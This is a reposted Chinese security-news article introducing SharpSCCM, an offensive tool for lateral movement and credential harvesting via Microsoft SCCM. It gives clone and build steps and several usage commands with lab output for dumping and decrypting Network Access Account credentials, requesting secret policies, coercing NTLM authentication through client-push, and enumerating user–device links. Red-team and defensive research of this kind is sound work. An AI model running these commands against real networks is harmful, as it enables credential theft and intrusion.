SharpSCCM：一款利用SCCM实现横向渗透的强大工具

SharpSCCM：一款利用SCCM实现横向渗透的强大工具
2022-12-20 19:19:34 Author: FreeBuf(查看原文) 阅读量:53 收藏

关于SharpSCCM

SharpSCCM是一款功能强大的横向渗透和凭证收集工具，该工具主要利用了微软终端配置管理器（SCCM）来实现其功能，并能够通过访问SCCM管理终端GUI来实现横向渗透和凭证收集。

功能介绍

1、后渗透功能，支持横向渗透；
2、支持从SCCM客户端请求NTLM认证；
3、支持收集网络访问账号（NAA）的凭证信息；
4、请求和反混淆NAA凭证；
5、支持滥用新发现的攻击原语来强制来自SCCM服务器的NTLM身份验证；

工具下载

广大研究人员可以使用下列命令将该项目源码克隆至本地：

git clone https://github.com/Mayyhem/SharpSCCM.git

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项目构建

将项目源码克隆至本地之后，在Visual Studio中打开SharpSCCM.sln，然后选择目标，比如说Release > x64。

接下来，构建解决方案（Ctrl + Shift + B）即可。

此时，将在目标路径下生成一个SharpSCCM程序集，其中包含了所有的工具及依赖组件，路径为：

.\SharpSCCM\bin\x64\Release\SharpSCCM_merged.exe。

命令行使用

命令样例：


SharpSCCM.exe [command] [options]

自命令样例：

add     支持将对象添加到其他对象
  get     查询指定对象，并显示对象内容
  exec    从指定UNC路径执行一个应用程序，或从客户端设备请求NTLM身份认证
  invoke  在服务器上执行或调用操作
  local    与本地工作站/服务器交互
  new     在服务器上创建新的对象
  remove  从服务器删除对象

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工具使用

通过WMI导出NAA并使用DPAPI主密钥进行解密：


SharpSCCM.exe local naa wmi

样例输出：


.\SharpSCCM.exe local naa wmi  _______ _     _ _______  ______  _____  _______ _______ _______ _______
  |______ |_____| |_____| |_____/ |_____] |______ |       |       |  |  |
  ______| |     | |     | |    \_ |       ______| |______ |______ |  |  |
[*] Retrieving Network Access Account blobs via WMI
[+]     Connecting to \\localhost\root\ccm\policy\Machine\ActualConfig
[+]     Executing WQL query: SELECT * FROM CCM_NetworkAccessAccount
[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()
[*] Secret  : DPAPI_SYSTEM
[*]    full: <REDACTED>
[*]    m/u : <REDACTED>
[*] SYSTEM master key cache:
{340f2212-5765-4e57-8931-070fadb401c2}:<REDACTED>
{3c58124e-ef4e-4841-900c-3183550720b3}:<REDACTED>
{226f00ce-7ab9-4fff-a7e0-665e7afb2785}:<REDACTED>
{6641ae28-12b2-4e79-abe4-2199ac0245b1}:<REDACTED>
[*] Triaging Network Access Account Credentials
     Plaintext NAA Username         : APERTURE\networkaccess
     Plaintext NAA Password         : <REDACTED>
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请求设备策略并获取NAA凭证


SharpSCCM.exe get naa -u <computer$> -p <password>
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样例输出：


.\SharpSCCM.exe get naa -u chell$ -p <password>
  _______ _     _ _______  ______  _____  _______ _______ _______ _______
  |______ |_____| |_____| |_____/ |_____] |______ |       |       |  |  |
  ______| |     | |     | |    \_ |       ______| |______ |______ |  |  |
[+] Connecting to \\localhost\root\ccm
[+] Executing WQL query: SELECT Name,CurrentManagementPoint FROM SMS_Authority
[+] Current management point: atlas.aperture.sci
[+] Site code: PS1
[+] Created "ConfigMgr Client Messaging" certificate in memory for device registration and signing/encrypting subsequent messages
[+] Wrote "ConfigMgr Client Messaging" certificate to My store for CurrentUser
[+] Discovering local properties for client registration request
[+] Modifying client registration request properties:
      FQDN: CAVE-JOHNSON-PC.APERTURE
      NetBIOS name: CAVE-JOHNSON-PC
      Authenticating as: chell$
      Site code: PS1
[+] Sending HTTP registration request to atlas.aperture.sci:80
[+] Received unique GUID for new device: GUID:A7FC423E-FF62-48B1-8A42-9447178D16C5
[+] Obtaining Full Machine policy assignment from atlas.aperture.sci PS1
[+] Found 43 policy assignments
[+] Found policy containing secrets:
      ID: {096db290-7e52-41cb-839c-b8af87b82abf}
      Flags: RequiresAuth, Secret, IntranetOnly, PersistWholePolicy
      URL: http://<mp>/SMS_MP/.sms_pol?{096db290-7e52-41cb-839c-b8af87b82abf}.4_00
[+] Adding authentication headers to download request:
      ClientToken: GUID:A7FC423E-FF62-48B1-8A42-9447178D16C5;2022-10-17T23:24:00Z;2
      ClientTokenSignature: 9BAF8C2981B17DE0E056C42E8E4605B72A0559CE30C245E06CADC65A25A37D342595B6DCC542ABB9C20A01E9D1E71B1E8B52E8CF6B9C6214C76CA1C636B301031E15E8A53D1A2E52E18416F6A77F1BD8D793184995D93423E1F346E6B131CE07908DC26FB20CCF09F1B1FC2318104C7145B69D6870819CB9B35C8F87C3CB311211F84BA812EC15AAD7C3E512BF73D67A5AA7EA180E07E35E712CC69DF034183BA89C5937AC3EF954E5B3D8401172B6C0850695436180FD3A4185F4702F2647AE1E747BD5D64707123F003958CF110E7191CE5D299F97CCE4D01965F92496C748DD0F0A20CDB3F469C8BB5A33340142CD91B8F1C7D3082EC6B86080072783390A
[+] Received encoded response from server for policy {096db290-7e52-41cb-839c-b8af87b82abf}
[+] Successfully decoded and decrypted secret policy
[+] Deleted "CN=ConfigMgr Client Messaging" certificate from My store for CurrentUser
[+] Encrypted NAA username: 89130000...<REDACTED>...6C006F00
[+] Encrypted NAA password: 89130000...<REDACTED>...8D3C0000
[+] Done! Encrypted NAA hex strings can be decrypted offline using the "DeobfuscateNAAString.exe <string>" command
..\..\..\DeobfuscateNAAString\Release\DeobfuscateNAAString.exe 89130000...<REDACTED>...06C006F00
Plaintext: APERTURE\networkaccess
..\..\..\DeobfuscateNAAString\Release\DeobfuscateNAAString.exe 89130000...<REDACTED>...8D3C0000
Plaintext: <REDACTED>
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横向渗透：调用client-push

强制SCCM服务器通过SMB向目标<target>发送NTLM身份认证：


SharpSCCM.exe <server> <sitecode> invoke client-push -t <target>
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强制SCCM服务器通过HTTP向目标<target>发送NTLM身份认证：


SharpSCCM.exe <server> <sitecode> invoke client-push -t <[email protected]>
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样例输出：


PS C:\Users\cave.johnson.APERTURE\SharpSCCM\bin\x64\Release> .\SharpSCCM.exe atlas ps1 invoke client-push -t 192.168.57.130
[+] Discovering local properties for client registration request
[+] Modifying client registration request properties
  ClientFqdn: 192.168.57.130
  NetBiosName: 192.168.57.130
  SiteCode: ps1
[+] Registration Request Body:
<...snip...>
[+] Sending HTTP registration request to atlas:80
[+] Received unique GUID for new device: GUID:19B65F3B-AAD8-41C1-B4BE-E6917FA0B8BE
[+] Discovering local properties for DDR inventory report
[+] Modifying DDR and inventory report properties
[+] Discovered PlatformID: Microsoft Windows NT Server 10.0
[+] Modified PlatformID: Microsoft Windows NT Workstation 2010.0
[+] DDR Body:
<...snip...>
[+] Inventory Report Body:
<...snip...>
[+] Sending DDR from GUID:19B65F3B-AAD8-41C1-B4BE-E6917FA0B8BE to MP_DdrEndpoint endpoint on atlas:ps1 and requesting client installation on 192.168.57.130
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横向渗透：获取primary-user

使用<username>主用户获取设备列表：


SharpSCCM.exe <server> <sitecode> get primary-user -u <username>
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样例输出：


.\SharpSCCM.exe atlas ps1 get primary-user -u chell
[+] Connecting to \\atlas\root\SMS\site_ps1
[+] Executing WQL query: SELECT * FROM SMS_UserMachineRelationship WHERE UniqueUserName LIKE '%chell%'
-----------------------------------
SMS_UserMachineRelationship
-----------------------------------
CreationTime: 20220528005101.523000+000
IsActive: True
RelationshipResourceID: 25165825
ResourceClientType: 1
ResourceID: 16777227
ResourceName: GLADOS
Sources: 2
Types: 1
UniqueUserName: aperture\chell
-----------------------------------
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许可证协议

本项目的开发与发布遵循GPL-3.0开源许可证协议。

项目地址

SharpSCCM：https://github.com/Mayyhem/SharpSCCM

参考资料：

https://enigma0x3.net/2016/02/29/offensive-operations-with-powersccm/
https://posts.specterops.io/relaying-ntlm-authentication-from-sccm-clients-7dccb8f92867
https://posts.specterops.io/the-phantom-credentials-of-sccm-why-the-naa-wont-die-332ac7aa1ab9
https://blog.xpnsec.com/unobfuscating-network-access-accounts/
https://posts.specterops.io/coercing-ntlm-authentication-from-sccm-e6e23ea8260a
https://docs.microsoft.com/en-us/mem/configmgr/core/clients/deploy/plan/security-and-privacy-for-clients

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